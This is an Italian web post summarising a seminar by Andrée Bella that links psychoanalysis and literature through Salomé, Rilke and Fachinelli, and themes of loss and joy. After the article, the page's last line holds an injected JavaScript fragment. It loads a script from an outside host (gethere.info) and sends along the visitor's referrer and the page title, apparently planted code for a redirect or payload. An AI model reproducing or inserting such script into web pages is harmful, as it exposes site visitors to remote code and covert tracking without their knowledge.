Pagine

Archivi

Meta

BDF 7.10 – Andrée Bella: Psicoanalisi dell’esperienza estetica: una traccia eterodossa

 

Andrée Bella “Psicoanalisi dell’esperienza estetica: una traccia eterodossa”

 

 

 

 

Nel suo ricco seminario Andrée Bella si interroga su che senso possa avere il mettere in dialogo psicoanalisi e letteratura. Entrambe le discipline, infatti, sembrano interrogarsi, alimentarsi e vicendevolmente compenetrarsi: si pensi, solo per citare un esempio, ai fini intrecci delle produzioni dostoevskijana e freudiana. Il lavoro che presenta Andrée Bella è come un cammino in fieri, tra psicoanalisi e letteratura; è eterodosso poiché, aggiunge Bella, si giustappongono autori assai differenti tra loro, per esempio Lou von Salomé, Elvio Fachinelli, Rilke. E Bella ci ricorda, in proposito, che Salomé stessa era sia scrittrice sia psicoanalista: Salomé utilizzava le opere letterarie nel tentativo “di entrarci dentro, di ragionarci sopra e di vedere che cosa farne psicoanaliticamente”. È a questo punto che emerge un tema chiave: il rapporto vita-arte e artista-arte; è questa una delle innumerevoli questioni esplorate da Salomé: l’arte come ponte tra ragione, intesa come coscienza, e l’essere vivente, per permettere una comunicazione tra sé e il mondo. Di qui il disinteresse per l’arte sfocia in disinteresse per la nostra interiorità. Sembrano innestarsi, su questo punto, le Elegie di Rilke: Andrée Bella ci ricorda che per Rilke il senso dell’arte è convertire la gioia, ossia riuscire ad attraversare la condizione umana di fragilità, riuscire a “cantare la vita” nonostante la fragilità costitutiva della vita. Dunque Bella fa emergere altre parole chiave: la caducità della vita, il rimpianto, il lutto, tuttavia ognuna lungo un continuum, entro un’idea di attraversamento nel e con l’arte: si affiancano quindi vita, amore, senso e condivisione. Intorno a questi temi Bella ricorda Fachinelli: l’insostituibilità di ciò che era vivo rende l’esperienza umana irriducibilmente abitata dalla ferita; ma il poeta, nel momento in cui riesce a cantare la vita, è in grado di salvare la natura, la vita stessa. Sembra, questo, un atteggiamento sia etico sia religioso, ci ricorda Bella. Gli echi di Rilke sembrano illuminare, ancora, la questione tra felicità e attraversamento: per Rilke, afferma Bella, la felicità è intesa anche come discesa, non solo come ascensione e mera performance quantitativa. La felicità sembra convertita in attraversamento, in un dare senso profondo e concreto: è l’accettazione della mortalità come inscindibile dal continuum con la vita. Qui giunge la conversione della gioia in attraversamento. Gli intrecci tra psicoanalisi e letteratura, ricorda Andrée Bella, sembrerebbero aiutare le persone nell’attraversamento della sofferenza: attraversamento non inteso come nascondimento o evitamento, bensì come costruzione di senso, in grado, forse, di salvare la crudeltà del mondo dalla sua stessa natura ferale.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;